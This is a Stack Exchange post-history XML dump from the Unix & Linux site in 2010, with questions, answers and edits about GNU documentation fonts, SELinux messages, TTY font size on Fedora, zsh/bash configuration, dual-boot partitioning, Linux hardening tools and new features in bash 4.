  <row Id="7263" PostHistoryTypeId="2" PostId="3423" RevisionGUID="e91d03ef-41d1-4469-8588-d6d8d1798716" CreationDate="2010-10-23T01:59:57.377" UserId="1375" Text="Hello,&#xD;&#xA;&#xD;&#xA;I am interested in learning how documentation for GNU related software is written, and am wondering what type of font is used in their PDF documentation? (for instance, the GCC manual here: [http://gcc.gnu.org/onlinedocs/gcc-4.5.1/gcc.pdf][1])&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;[1]: http://gcc.gnu.org/onlinedocs/gcc-4.5.1/gcc.pdf" />
  <row Id="7264" PostHistoryTypeId="1" PostId="3423" RevisionGUID="e91d03ef-41d1-4469-8588-d6d8d1798716" CreationDate="2010-10-23T01:59:57.377" UserId="1375" Text="What is the font used for GNU documentation?" />
  <row Id="7265" PostHistoryTypeId="3" PostId="3423" RevisionGUID="e91d03ef-41d1-4469-8588-d6d8d1798716" CreationDate="2010-10-23T01:59:57.377" UserId="1375" Text="édocumentationàégnuàéfontsà" />
  <row Id="7266" PostHistoryTypeId="2" PostId="3424" RevisionGUID="6b29de75-e924-4322-b043-83e13386588d" CreationDate="2010-10-23T02:03:11.473" UserId="1071" Text="The font is Donald Knuth's &lt;a href=&quot;http://en.wikipedia.org/wiki/Computer_Modern&quot;&gt;Computer Modern&lt;/a&gt;. The documentation was no doubt created with &lt;a href=&quot;http://www.latex-project.org/&quot;&gt;LaTeX&lt;/a&gt; (or maybe even plain TeX). (Actually, this is confirmed by the PDF metadata.)&#xD;&#xA;&#xD;&#xA;If you want a high quality clone of Computer Modern in Open Type format, look at &lt;a href=&quot;http://www.gust.org.pl/projects/e-foundry/latin-modern&quot;&gt;the Latin Modern collection.&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://www.ctan.org/tex-archive/fonts/cm/ps-type1/bakoma/ttf/&quot;&gt;TrueType versions of Computer Modern are also available.&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;Or you can just install LaTeX (see &lt;a href=&quot;http://tug.org/texlive/&quot;&gt;TeXlive&lt;/a&gt;) and get the real deal, with Type3 and Type1 fonts in a variety of encodings." />
  <row Id="7267" PostHistoryTypeId="5" PostId="3424" RevisionGUID="5df19ee4-6606-43db-b32d-ba1a8664fdae" CreationDate="2010-10-23T02:10:38.943" UserId="1071" Comment="added 205 characters in body; added 7 characters in body" Text="The font is Donald Knuth's &lt;a href=&quot;http://en.wikipedia.org/wiki/Computer_Modern&quot;&gt;Computer Modern&lt;/a&gt;. The documentation was no doubt created with &lt;a href=&quot;http://www.latex-project.org/&quot;&gt;LaTeX&lt;/a&gt; (or maybe even plain TeX). (Actually, these are both confirmed by the PDF metadata.)&#xD;&#xA;&#xD;&#xA;If you want a high quality clone of Computer Modern in Open Type format, look at &lt;a href=&quot;http://www.gust.org.pl/projects/e-foundry/latin-modern&quot;&gt;the Latin Modern collection.&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://www.ctan.org/tex-archive/fonts/cm/ps-type1/bakoma/ttf/&quot;&gt;TrueType versions of Computer Modern are also available.&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;Or you can just install LaTeX (see &lt;a href=&quot;http://tug.org/texlive/&quot;&gt;TeXlive&lt;/a&gt;) and get the real deal, with Type3 and Type1 fonts in a variety of encodings.&#xD;&#xA;&#xD;&#xA;TeX is one of the earliest examples of free software, and Stallman even mentions it in &lt;a href=&quot;http://www.gnu.org/gnu/manifesto.html&quot;&gt;the GNU manifesto&lt;/a&gt;: &quot;We will use TeX as our text formatter ...&quot;" />
  <row Id="7268" PostHistoryTypeId="5" PostId="3424" RevisionGUID="2245c7bd-ef74-46d4-a302-5b04951ceb27" CreationDate="2010-10-23T02:28:02.753" UserId="1071" Comment="added 271 characters in body; added 1 characters in body" Text="The font is Donald Knuth's &lt;a href=&quot;http://en.wikipedia.org/wiki/Computer_Modern&quot;&gt;Computer Modern&lt;/a&gt;. The documentation was no doubt created with &lt;a href=&quot;http://www.latex-project.org/&quot;&gt;LaTeX&lt;/a&gt; (or maybe even plain TeX). (Actually, these are both confirmed by the PDF metadata.) &#xD;&#xA;&#xD;&#xA;(Edit: Poking around a bit more, it looks like, strictly speaking the documentation is created in a base format, which, thanks to &lt;A href=&quot;http://www.gnu.org/software/texinfo/&quot;&gt;GNU texinfo&lt;/a&gt; is exported to a variety of formats, but the PDF format goes through TeX.)&#xD;&#xA;&#xD;&#xA;If you want a high quality clone of Computer Modern in Open Type format, look at &lt;a href=&quot;http://www.gust.org.pl/projects/e-foundry/latin-modern&quot;&gt;the Latin Modern collection.&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://www.ctan.org/tex-archive/fonts/cm/ps-type1/bakoma/ttf/&quot;&gt;TrueType versions of Computer Modern are also available.&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;Or you can just install LaTeX (see &lt;a href=&quot;http://tug.org/texlive/&quot;&gt;TeXlive&lt;/a&gt;) and get the real deal, with Type3 and Type1 fonts in a variety of encodings.&#xD;&#xA;&#xD;&#xA;TeX is one of the earliest examples of free software, and Stallman even mentions it in &lt;a href=&quot;http://www.gnu.org/gnu/manifesto.html&quot;&gt;the GNU manifesto&lt;/a&gt;: &quot;We will use TeX as our text formatter ...&quot;" />
  <row Id="7269" PostHistoryTypeId="2" PostId="3425" RevisionGUID="7c295399-4aed-4440-9b53-c67c3f1d551d" CreationDate="2010-10-23T03:21:40.533" UserId="2404" Text="Hello-&#xD;&#xA;&#xD;&#xA;I keep receiving this message from SELinux in a bug report. I am new to Linux, running Fedora 13 and I am learning as I go. Any advice on what this might be would be appreciated.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Summary:&#xD;&#xA;&#xD;&#xA;    SELinux is preventing /usr/sbin/semodule access to a leaked /tmp/tmpGTbWYh file&#xD;&#xA;    descriptor.&#xD;&#xA;&#xD;&#xA;    Detailed Description:&#xD;&#xA;&#xD;&#xA;    [semodule has a permissive type (semanage_t). This access was not denied.]&#xD;&#xA;&#xD;&#xA;    SELinux denied access requested by the semodule command. It looks like this is&#xD;&#xA;    either a leaked descriptor or semodule output was redirected to a file it is not&#xD;&#xA;    allowed to access. Leaks usually can be ignored since SELinux is just closing&#xD;&#xA;    the  leak and reporting the error. The application does not use the descriptor,&#xD;&#xA;    so it will run properly. If this is a redirection, you will not get output in&#xD;&#xA;    the /tmp/tmpGTbWYh. You should generate a bugzilla on selinux-policy, and it&#xD;&#xA;    will get routed to the appropriate package. You can safely ignore this avc.&#xD;&#xA;&#xD;&#xA;    Allowing Access:&#xD;&#xA; &#xD;&#xA;    You can generate a local policy module to allow this access - see FAQ&#xD;&#xA;    (http://docs.fedoraproject.org/selinux-faq-fc5/#id2961385)&#xD;&#xA;&#xD;&#xA;    Additional Information:&#xD;&#xA;&#xD;&#xA;    Source Context                system_u:system_r:semanage_t:s0-s0:c0.c1023&#xD;&#xA;    Target Context                system_u:object_r:initrc_tmp_t:s0&#xD;&#xA;    Target Objects                /tmp/tmpGTbWYh [ file ]&#xD;&#xA;    Source                        semodule&#xD;&#xA;    Source Path                   /usr/sbin/semodule&#xD;&#xA;    Port                          &lt;Unknown&gt;&#xD;&#xA;    Source RPM Packages           policycoreutils-2.0.83-28.fc13&#xD;&#xA;    Target RPM Packages           &#xD;&#xA;    Policy RPM                    selinux-policy-3.7.19-62.fc13&#xD;&#xA;    Selinux Enabled               True&#xD;&#xA;    Policy Type                   targeted&#xD;&#xA;    Enforcing Mode                Enforcing&#xD;&#xA;    Plugin Name                   leaks" />
  <row Id="7270" PostHistoryTypeId="1" PostId="3425" RevisionGUID="7c295399-4aed-4440-9b53-c67c3f1d551d" CreationDate="2010-10-23T03:21:40.533" UserId="2404" Text="SELinux denied access" />
  <row Id="7271" PostHistoryTypeId="3" PostId="3425" RevisionGUID="7c295399-4aed-4440-9b53-c67c3f1d551d" CreationDate="2010-10-23T03:21:40.533" UserId="2404" Text="éselinuxà" />
  <row Id="7272" PostHistoryTypeId="2" PostId="3426" RevisionGUID="400fbb4b-f0d5-4a70-90ad-a9387e7810ae" CreationDate="2010-10-23T04:03:40.893" UserId="1002" Text="I agree with [Stefan][1] and disagree (partially, see further) with [tim][2]: start out with a good desktop distro, and use it for your basic daily tasks.  That will allow you to experiment and learn without having to reboot all the time (IME if you have to reboot, you just don't do it very often).&#xD;&#xA;&#xD;&#xA;If you want to become a professional, you *will* have to get familiar with the underlying system though.  Just like you need to know about the registry and permissions and how DLLs are loaded, etc. on Windows...&#xD;&#xA;&#xD;&#xA;And once you're somewhat starting to get familiar with the GUI &amp; a bit of the commandline, and you want to learn about linux/unix servers, you can run them in a virtual machine (kvm/qemu, virtualbox, vmware, ...) and ssh to them.&#xD;&#xA;&#xD;&#xA;Then when you start to understand the commandline well, something like [CRUX][3], Slackware or [LFS][4] is a good tool to get more in-depth knowledge about how all the parts of the OS (can) fit together.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/3409/beginning-to-learn-unix-and-linux/3410#3410&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/3409/beginning-to-learn-unix-and-linux/3415#3415&#xD;&#xA;  [3]: http://crux.nu/&#xD;&#xA;  [4]: http://www.linuxfromscratch.org/" />
  <row Id="7273" PostHistoryTypeId="5" PostId="3413" RevisionGUID="146db629-202d-49c6-a8db-4af1f41a738d" CreationDate="2010-10-23T04:11:08.887" UserId="1207" Comment="fixed grammar a bit" Text="I installed Ubuntu 10.04, but when I tried to login I found out that my keyboard is inactive.&#xD;&#xA;I searched the Internet and learned how to activate the on-screen keyboard. But, when I activate the on-screen keyboard, it immediately disappears. &#xD;&#xA;&#xD;&#xA;I don't know what's happening but need to login into Ubuntu. Can anyone help me?&#xD;&#xA;Thanks in advance." />
  <row Id="7274" PostHistoryTypeId="2" PostId="3427" RevisionGUID="726130f2-d994-4525-8f66-0a047bab7a69" CreationDate="2010-10-23T05:10:03.717" UserId="2117" Text="I have a fedora machine , I am used to working on CLI since I had CRT monitor, after switching to TFT - the experience is not the same I had with CRT, the font is smaller now.&#xD;&#xA;&#xD;&#xA;How to change it ? &#xD;&#xA;&#xD;&#xA;(expecting useful redirection OR step-by-step tutorial ) " />
  <row Id="7275" PostHistoryTypeId="1" PostId="3427" RevisionGUID="726130f2-d994-4525-8f66-0a047bab7a69" CreationDate="2010-10-23T05:10:03.717" UserId="2117" Text="How to increase the font of CLI ? " />
  <row Id="7276" PostHistoryTypeId="3" PostId="3427" RevisionGUID="726130f2-d994-4525-8f66-0a047bab7a69" CreationDate="2010-10-23T05:10:03.717" UserId="2117" Text="écommandölineàéfontsà" />
  <row Id="7277" PostHistoryTypeId="4" PostId="2640" RevisionGUID="470bd6b0-5395-4917-b9a3-7edf9d0a9d41" CreationDate="2010-10-23T06:20:42.337" UserId="250" Comment="edited title" Text="Is it bad practice to set root's shell to something other than sh?" />
  <row Id="7278" PostHistoryTypeId="2" PostId="3428" RevisionGUID="7af3a60c-28ef-451e-9d0c-9a874e75d9b0" CreationDate="2010-10-23T06:28:46.413" UserId="250" Text="Hi,&#xD;&#xA;&#xD;&#xA;The shell that I normally use is `zsh`. I have several aliases to have color in some programs such as `ls` and `grep`. I also set my custom path so that I can execute programs in non-standard place (such as in `~/bin/`).&#xD;&#xA;&#xD;&#xA;I [won't change root's shell][1] to `zsh`, but I would like to share these setting so that root can have it as well. I find out that `zsh` is not sourcing `/etc/profile`. I can source it in `/etc/zsh/zprofile`, but I would like some other more &quot;proper&quot; way.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/2640/250" />
  <row Id="7279" PostHistoryTypeId="1" PostId="3428" RevisionGUID="7af3a60c-28ef-451e-9d0c-9a874e75d9b0" CreationDate="2010-10-23T06:28:46.413" UserId="250" Text="Share aliases and PATH setting between zsh and bash" />
  <row Id="7280" PostHistoryTypeId="3" PostId="3428" RevisionGUID="7af3a60c-28ef-451e-9d0c-9a874e75d9b0" CreationDate="2010-10-23T06:28:46.413" UserId="250" Text="éshellàébashàézshàépathàéaliasà" />
  <row Id="7281" PostHistoryTypeId="5" PostId="3410" RevisionGUID="1911cadf-a0da-4515-98f5-77973d520fdf" CreationDate="2010-10-23T07:04:42.727" UserId="1327" Comment="added 5 characters in body" Text="To get proficient with unix, you will need to work on it regularly. **Practise makes perfect**.&#xD;&#xA;&#xD;&#xA;Firstly, I would suggest that you [pick][3] a [Linux distribution][4]. Don't worry *too much* about picking the best one for you yet, *when you are ready you will find the one*. For a beginner, a distro like [Ubuntu][2] will be good enough.&#xD;&#xA;&#xD;&#xA;Problems will arise, be ready for them. Ask question on the web ( [here on Unix SE][1] or at other forums ), the linux community ( more correct is the &quot;opensource community&quot; ) is a helpful community. The more you partake in that community, the faster you will learn.&#xD;&#xA;&#xD;&#xA;Now you will need to try and **perform basic tasks** on your shiny new OS. Chatting, Browsing, typing up documents, emailing, watching movies, etc. *Use Linux for everything.*&#xD;&#xA;&#xD;&#xA;Be aware that Linux does have a learning curve, and that you will need to **dedicate time** to it if you want to become professional.&#xD;&#xA;&#xD;&#xA;[1]:http://unix.stackexchange.com/&#xD;&#xA;[2]:http://ubuntu.com/&#xD;&#xA;[3]:http://distrowatch.com/&#xD;&#xA;[4]:http://en.wikipedia.org/wiki/Linux_distribution" />
  <row Id="7282" PostHistoryTypeId="5" PostId="3428" RevisionGUID="644ed26a-3903-46a2-a20c-abe361438d2f" CreationDate="2010-10-23T07:07:41.037" UserId="1327" Comment="deleted 2 characters in body" Text="The shell that I normally use is `zsh`. I have several aliases to enable color in some programs such as `ls` and `grep`. I've also set my custom path so that I can execute programs in non-standard place (such as in `~/bin/`).&#xD;&#xA;&#xD;&#xA;I [won't change root's shell][1] to `zsh`, but I would like to share these setting so that root can have it as well. I find out that `zsh` is not sourcing `/etc/profile`. I can source it in `/etc/zsh/zprofile`, but I would like some other more &quot;proper&quot; way.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/2640/250" />
  <row Id="7283" PostHistoryTypeId="5" PostId="3422" RevisionGUID="26095f9a-ce6d-4ac7-a9b7-3b97bd24219f" CreationDate="2010-10-23T07:59:44.967" UserId="73" Comment="added 6 characters in body; edited tags; edited title" Text="Before I was able to use the &lt;kbd&gt;Up&lt;/kbd&gt;/&lt;kbd&gt;Down&lt;/kbd&gt; arrow keys to cycle through previous commands, but now when I press a directional key it outputs &quot;^[[A&quot;. I'm running a bash shell. How do I fix this?&#xD;&#xA;" />
  <row Id="7284" PostHistoryTypeId="4" PostId="3422" RevisionGUID="26095f9a-ce6d-4ac7-a9b7-3b97bd24219f" CreationDate="2010-10-23T07:59:44.967" UserId="73" Comment="added 6 characters in body; edited tags; edited title" Text="How do I fix unix so that I can use the arrow keys in a terminal?" />
  <row Id="7285" PostHistoryTypeId="6" PostId="3422" RevisionGUID="26095f9a-ce6d-4ac7-a9b7-3b97bd24219f" CreationDate="2010-10-23T07:59:44.967" UserId="73" Comment="added 6 characters in body; edited tags; edited title" Text="éunixàéterminalàékeyboardà" />
  <row Id="7286" PostHistoryTypeId="2" PostId="3429" RevisionGUID="4615f835-f72c-4b40-a15b-4e233a14f0b0" CreationDate="2010-10-23T08:00:37.160" UserId="1327" Text="Changing the fontsize of your CLI depends on a lot of things.&#xD;&#xA;&#xD;&#xA;Firstly, as Michael mentioned in his comment, what CLI are we talking about? A CLI within [Xorg][4] or a [TTY][3]?&#xD;&#xA;&#xD;&#xA;*If this is a emulator within Xorg, you will need to specify wich emulator.* I will assume that you meant the TTY font size.&#xD;&#xA;&#xD;&#xA;Before we started using [KMS][6] in our boot procedures, you could have changed the TTY font by adding `vga=blah` to grub's boot line and then playing arround with the values of `blah`. See this [link][5] on that.&#xD;&#xA;&#xD;&#xA;If you are using **KMS**, things get more tricky. You will need to configure things withing your distro, and each distro has its own way of configuring things. Take a look at these two forum posts:&#xD;&#xA;&#xD;&#xA; - [KMS &amp; Manual tty modesetting][1] - ArchLinux Forum&#xD;&#xA; - [how do I change the console font?][2] - Ubuntu Forum &#xD;&#xA;&#xD;&#xA;[1]:https://bbs.archlinux.org/viewtopic.php?pid=755281&#xD;&#xA;[2]:http://ubuntuforums.org/showthread.php?t=329369&#xD;&#xA;[3]:http://en.wikipedia.org/wiki/Tty_%28Unix%29&#xD;&#xA;[4]:http://en.wikipedia.org/wiki/X.Org_Server&#xD;&#xA;[5]:http://ubuntuforums.org/showthread.php?t=122936&#xD;&#xA;[6]:https://wiki.ubuntu.com/X/KernelModeSetting" />
  <row Id="7287" PostHistoryTypeId="2" PostId="3430" RevisionGUID="413ffb03-9901-4911-94ad-00cad43786f3" CreationDate="2010-10-23T09:19:29.503" UserId="2406" Text="My experience : &#xD;&#xA;Knowledge : There are only 4 primary in a a disk .&#xD;&#xA;&#xD;&#xA;1. Make 2 NTFS for windows OS and one for common data. &#xD;&#xA;&#xD;&#xA;2. Install windows first&#xD;&#xA;&#xD;&#xA;3. Install linux , make 2 linux partition : 1 ext 4 and 1 swap for linux installing .&#xD;&#xA;&#xD;&#xA;4. Install ntfs-3g to access ntfs in your linux .&#xD;&#xA;&#xD;&#xA;My example : &#xD;&#xA;&#xD;&#xA;Laptop 500Gb :&#xD;&#xA;&#xD;&#xA;1. C: 50Gb for windows OS [NTFS]&#xD;&#xA;&#xD;&#xA;2. D: 436Gb for Common Data [NTFS]&#xD;&#xA;&#xD;&#xA;3. ext4: 10Gb for arch root and 4Gb left for swap partition &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Note: you shouldn't try to access linux on windows, it doesn't have any software can access ext4 and many errors appears when you're trying to do that. In linux ntfs-3g does smoothly :)&#xD;&#xA;" />
  <row Id="7288" PostHistoryTypeId="5" PostId="3427" RevisionGUID="4d08ac68-86b3-4f43-a07d-bd40c000ff6d" CreationDate="2010-10-23T10:09:19.977" UserId="2117" Comment="added 531 characters in body; edited title" Text="I have a fedora machine , I am used to working on CLI since I had CRT monitor, after switching to TFT - the experience is not the same I had with CRT, the font is smaller now.&#xD;&#xA;&#xD;&#xA;How to change it ? &#xD;&#xA;&#xD;&#xA;Contents of grub.conf : &#xD;&#xA;&#xD;&#xA;    default=0&#xD;&#xA;    timeout=5&#xD;&#xA;    splashimage=(hd0,5)/grub/splash.xpm.gz&#xD;&#xA;    hiddenmenu&#xD;&#xA;    title Fedora (2.6.29.4-167.fc11.i686.PAE)&#xD;&#xA;            root (hd0,5)&#xD;&#xA;            kernel /vmlinuz-2.6.29.4-167.fc11.i686.PAE ro root=/dev/mapper/VolGroup-lv_root rhgb quiet&#xD;&#xA;            initrd /initrd-2.6.29.4-167.fc11.i686.PAE.img&#xD;&#xA;    title Other&#xD;&#xA;            rootnoverify (hd0,0)&#xD;&#xA;            chainloader +1&#xD;&#xA;    kernel /boot/vmlinuz-2.6.29.4-167.fc11.i686.PAE root=/dev/sda6 ro quiet splash vga=771&#xD;&#xA;&#xD;&#xA;(expecting useful redirection OR step-by-step tutorial ) &#xD;&#xA;&#xD;&#xA;" />
  <row Id="7289" PostHistoryTypeId="4" PostId="3427" RevisionGUID="4d08ac68-86b3-4f43-a07d-bd40c000ff6d" CreationDate="2010-10-23T10:09:19.977" UserId="2117" Comment="added 531 characters in body; edited title" Text="How to increase the font of CLI (TTY) ? " />
  <row Id="7290" PostHistoryTypeId="2" PostId="3431" RevisionGUID="dfe56757-5953-4258-9d96-6244a56989b7" CreationDate="2010-10-23T10:41:19.770" UserId="2407" Text="I am planning to go back to Linux as a Desktop machine.&#xD;&#xA;I would like to make it more secure. And try a few hardening techniques, especially since I plan to get my own server.&#xD;&#xA;What would be a good, sane hardening strategy? Which tools should I use - Apparmor, SELinux, SMACK, chroot? &#xD;&#xA;Should I use just one tool, e.g. Apparmor, or a combination of the above?&#xD;&#xA;Which advantages/disadvantages do these tools have? Are there any others?&#xD;&#xA;Which do have a sane configuration to security (improvement) ratio?&#xD;&#xA;Which one would I rather use in a Desktop environment? Which one in a server environment. &#xD;&#xA;&#xD;&#xA;So many questions. Thx for your help in advance. &#xD;&#xA;" />
  <row Id="7291" PostHistoryTypeId="1" PostId="3431" RevisionGUID="dfe56757-5953-4258-9d96-6244a56989b7" CreationDate="2010-10-23T10:41:19.770" UserId="2407" Text="What to use to harden Linux box? Apparmor, SELinux, grsecurity, SMACK, chroot?" />
  <row Id="7292" PostHistoryTypeId="3" PostId="3431" RevisionGUID="dfe56757-5953-4258-9d96-6244a56989b7" CreationDate="2010-10-23T10:41:19.770" UserId="2407" Text="ésecurityàéchrootàéselinuxàégrsecurityà" />
  <row Id="7293" PostHistoryTypeId="5" PostId="3429" RevisionGUID="aba1d46a-4632-403f-ab2f-56e8afb836dc" CreationDate="2010-10-23T10:42:29.970" UserId="1327" Comment="added 650 characters in body" Text="Changing the fontsize of your CLI depends on a lot of things.&#xD;&#xA;&#xD;&#xA;Firstly, as Michael mentioned in his comment, what CLI are we talking about? A CLI within [Xorg][4] or a [TTY][3]?&#xD;&#xA;&#xD;&#xA;*If this is a emulator within Xorg, you will need to specify wich emulator.* I will assume that you meant the TTY font size.&#xD;&#xA;&#xD;&#xA;Before we started using [KMS][6] in our boot procedures, you could have changed the TTY font by adding `vga=blah` to grub's boot line and then playing arround with the values of `blah`. See this [link][5] on that.&#xD;&#xA;&#xD;&#xA;If you are using **KMS**, things get more tricky. You will need to configure things withing your distro, and each distro has its own way of configuring things. Take a look at these two forum posts:&#xD;&#xA;&#xD;&#xA; - [KMS &amp; Manual tty modesetting][1] - ArchLinux Forum&#xD;&#xA; - [how do I change the console font?][2] - Ubuntu Forum &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**update**&#xD;&#xA;&#xD;&#xA;Since you're using *Fedora*, the variable that you need to play with is `SYSFONT` in the file `/etc/sysconfig/i18n`. Play with the font-sizes ( 8, 12, 16, 32, etc ).&#xD;&#xA;&#xD;&#xA;The avialable fonts are listed in `/lib/kbd/consolefonts/`. &#xD;&#xA;&#xD;&#xA;You should be able to test the fonts by using `setfont` from your TTY:&#xD;&#xA;&#xD;&#xA;    setfont  /lib/kbd/consolefonts/iso07u-16.psfu.gz&#xD;&#xA;&#xD;&#xA;( run `setfont` without any arguments to restore to default font, you might need to do this &quot;blind&quot; if one of the fonts messes up your display )&#xD;&#xA;&#xD;&#xA;Refer to [Change console font in Fedora][7].&#xD;&#xA;&#xD;&#xA;[1]:https://bbs.archlinux.org/viewtopic.php?pid=755281&#xD;&#xA;[2]:http://ubuntuforums.org/showthread.php?t=329369&#xD;&#xA;[3]:http://en.wikipedia.org/wiki/Tty_%28Unix%29&#xD;&#xA;[4]:http://en.wikipedia.org/wiki/X.Org_Server&#xD;&#xA;[5]:http://ubuntuforums.org/showthread.php?t=122936&#xD;&#xA;[6]:https://wiki.ubuntu.com/X/KernelModeSetting&#xD;&#xA;[7]:http://www.g-loaded.eu/2005/09/30/change-console-font-in-fedora/" />
  <row Id="7294" PostHistoryTypeId="5" PostId="3427" RevisionGUID="42719829-4169-4c50-96b0-8c9f240fdfd3" CreationDate="2010-10-23T10:46:26.223" UserId="1327" Comment="deleted 591 characters in body; edited title" Text="I have a fedora machine, I am used to working on CLI since I had CRT monitor, after switching to TFT - the experience is not the same I had with CRT, the font is smaller now.&#xD;&#xA;&#xD;&#xA;How to change it?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7295" PostHistoryTypeId="4" PostId="3427" RevisionGUID="42719829-4169-4c50-96b0-8c9f240fdfd3" CreationDate="2010-10-23T10:46:26.223" UserId="1327" Comment="deleted 591 characters in body; edited title" Text="How to increase the TTY fontsize? " />
  <row Id="7296" PostHistoryTypeId="5" PostId="3429" RevisionGUID="ded423b1-7be1-4c45-abee-06f7bba7c5f4" CreationDate="2010-10-23T10:49:55.337" UserId="1327" Comment="added 35 characters in body" Text="**updated answer**&#xD;&#xA;&#xD;&#xA;Since you're using *Fedora*, the variable that you need to play with is `SYSFONT` in the file `/etc/sysconfig/i18n`. Play with the font-sizes ( 8, 12, 16, 32, etc ).&#xD;&#xA;&#xD;&#xA;The avialable fonts are listed in `/lib/kbd/consolefonts/`. &#xD;&#xA;&#xD;&#xA;You should be able to test the fonts by using `setfont` from your TTY:&#xD;&#xA;&#xD;&#xA;    $ setfont  /lib/kbd/consolefonts/iso07u-16.psfu.gz&#xD;&#xA;&#xD;&#xA;**Note:** run `setfont` without any arguments to restore to default font, you might need to do this &quot;blind&quot; if one of the fonts messes up your display.&#xD;&#xA;&#xD;&#xA;Refer to [Change console font in Fedora][7].&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**old answer**&#xD;&#xA;&#xD;&#xA;Changing the fontsize of your CLI depends on a lot of things.&#xD;&#xA;&#xD;&#xA;Firstly, as Michael mentioned in his comment, what CLI are we talking about? A CLI within [Xorg][4] or a [TTY][3]?&#xD;&#xA;&#xD;&#xA;*If this is a emulator within Xorg, you will need to specify wich emulator.* I will assume that you meant the TTY font size.&#xD;&#xA;&#xD;&#xA;Before we started using [KMS][6] in our boot procedures, you could have changed the TTY font by adding `vga=blah` to grub's boot line and then playing arround with the values of `blah`. See this [link][5] on that.&#xD;&#xA;&#xD;&#xA;If you are using **KMS**, things get more tricky. You will need to configure things withing your distro, and each distro has its own way of configuring things. Take a look at these two forum posts:&#xD;&#xA;&#xD;&#xA; - [KMS &amp; Manual tty modesetting][1] - ArchLinux Forum&#xD;&#xA; - [how do I change the console font?][2] - Ubuntu Forum &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]:https://bbs.archlinux.org/viewtopic.php?pid=755281&#xD;&#xA;[2]:http://ubuntuforums.org/showthread.php?t=329369&#xD;&#xA;[3]:http://en.wikipedia.org/wiki/Tty_%28Unix%29&#xD;&#xA;[4]:http://en.wikipedia.org/wiki/X.Org_Server&#xD;&#xA;[5]:http://ubuntuforums.org/showthread.php?t=122936&#xD;&#xA;[6]:https://wiki.ubuntu.com/X/KernelModeSetting&#xD;&#xA;[7]:http://www.g-loaded.eu/2005/09/30/change-console-font-in-fedora/" />
  <row Id="7297" PostHistoryTypeId="2" PostId="3432" RevisionGUID="b14c2a74-4032-4da3-b9b7-6bea29e9d64a" CreationDate="2010-10-23T11:10:01.863" UserId="912" Text="I was using bash3 up to now, and just got a copy of the latest version&#xD;&#xA;&#xD;&#xA;    $ ./bash --version&#xD;&#xA;    GNU bash, version 4.1.0(1)-release (i686-pc-linux-gnu)&#xD;&#xA;    Copyright (C) 2009 Free Software Foundation, Inc.&#xD;&#xA;    License GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt;&#xD;&#xA;    &#xD;&#xA;    This is free software; you are free to change and redistribute it.&#xD;&#xA;    There is NO WARRANTY, to the extent permitted by law.&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;What are the major changes/feature additions in version 4 over version 3?" />
  <row Id="7298" PostHistoryTypeId="1" PostId="3432" RevisionGUID="b14c2a74-4032-4da3-b9b7-6bea29e9d64a" CreationDate="2010-10-23T11:10:01.863" UserId="912" Text="What are the new features available to bash 4?" />
  <row Id="7299" PostHistoryTypeId="3" PostId="3432" RevisionGUID="b14c2a74-4032-4da3-b9b7-6bea29e9d64a" CreationDate="2010-10-23T11:10:01.863" UserId="912" Text="éshellàébashà" />
  <row Id="7300" PostHistoryTypeId="2" PostId="3433" RevisionGUID="dea57402-e6d3-49f8-abf8-db6c7d7c7c3a" CreationDate="2010-10-23T11:12:59.347" UserId="912" Text="I just setup bash v4.1.0 on my machine.&#xD;&#xA;&#xD;&#xA;The old version is under `/bin/bash`. Is there a way to use the newer version of bash without replacing the old one from `/bin`? I want the newer version to be used as the default one&#xD;&#xA;&#xD;&#xA;    $ which bash&#xD;&#xA;    /bin/bash&#xD;&#xA;    $ bash --version&#xD;&#xA;    GNU bash, version 3.00.15(1)-release (i686-redhat-linux-gnu)&#xD;&#xA;    Copyright (C) 2004 Free Software Foundation, Inc.&#xD;&#xA;    $ ~/bash/bash-4.1/bash --version&#xD;&#xA;    GNU bash, version 4.1.0(1)-release (i686-pc-linux-gnu)&#xD;&#xA;    Copyright (C) 2009 Free Software Foundation, Inc.&#xD;&#xA;    License GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt;&#xD;&#xA;    &#xD;&#xA;    This is free software; you are free to change and redistribute it.&#xD;&#xA;    There is NO WARRANTY, to the extent permitted by law.&#xD;&#xA;    $" />
  <row Id="7301" PostHistoryTypeId="1" PostId="3433" RevisionGUID="dea57402-e6d3-49f8-abf8-db6c7d7c7c3a" CreationDate="2010-10-23T11:12:59.347" UserId="912" Text="How to make sure that I use the latest version of bash?" />
  <row Id="7302" PostHistoryTypeId="3" PostId="3433" RevisionGUID="dea57402-e6d3-49f8-abf8-db6c7d7c7c3a" CreationDate="2010-10-23T11:12:59.347" UserId="912" Text="éshellàébashà" />
  <row Id="7303" PostHistoryTypeId="2" PostId="3434" RevisionGUID="cefd8650-35d6-4ec2-ab5b-cbcc0a52600a" CreationDate="2010-10-23T11:15:05.773" UserId="481" Text="The [NEWS file](http://tiswww.case.edu/php/chet/bash/NEWS) lists the features that were added in each version.&#xD;&#xA;&#xD;&#xA;Most notably in 4.0 I see a couple of improvements to the autocompletion infrastructure, the (optional) addition of the `**` glob operator, associative arrays and various syntactic shortcuts." />
